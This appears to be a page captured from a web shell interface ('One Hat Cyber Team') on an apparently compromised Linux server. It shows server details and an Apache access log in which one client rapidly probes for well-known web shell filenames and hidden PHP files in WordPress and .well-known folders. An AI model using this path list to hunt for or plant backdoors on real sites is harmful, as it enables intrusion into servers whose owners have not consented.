One Hat Cyber Team
Your IP :
216.73.217.15
Server IP :
157.15.65.100
Server :
Linux 157-15-65-100.cprapid.com 5.14.0-362.24.2.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Mar 30 14:11:54 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
cynet
/
access-logs
/
Edit File:
ws.cynet.id
157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.tmb/wso.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /?loadme HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/gelay.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/content.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:28 +0700] "GET /.well-known/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 404 - "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /.well-knownold/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /.wp-cache.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /.well-known/wp-signup.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /0.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /00.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /01.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /1.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /10.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /0byte.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /2.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /100.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /123.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /3.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /4.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /403.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /404.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /500.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /5.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /406.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /8.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /6.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /777.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /666.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /7.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /admin.php HTTP/1.1" 200 49719 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /9.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /a1.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /abc.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:29 +0700] "GET /about.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alfa.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /administrator.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alf.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /al.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alf4.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alfa123.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alfanew.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alpha.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /anon.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /alwso.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /assets/css/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /atomlib.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /anonsec.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /asd.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /anons79.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /b.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /batm.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /bak.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /base.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /autoload_classmap.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /blog/wp-includes/fonts/dev.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /blog/wp-includes/fonts/iqb.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /by.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /byp.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /black.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /wp-admin/user/about.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /wp-includes/install.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /wp-content/install.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:32 +0700] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/images/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/network/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/images/admin.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/js/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/css/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-content/languages/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/css/colors/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/network/admin.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-content/plugins/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-content/upgrade/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-content/IXR/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:33 +0700] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /bypass.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /bypas.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /byp403.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /wp-content/uploads/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /byp7.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /c.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /c99.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /byps.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /cgi.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /cgi-bin/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /con.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /cmd.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /compat.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /chosen.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /chosen.php?p= HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /css.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /config.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /d.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /cong.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /content.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /doc.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /dev.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 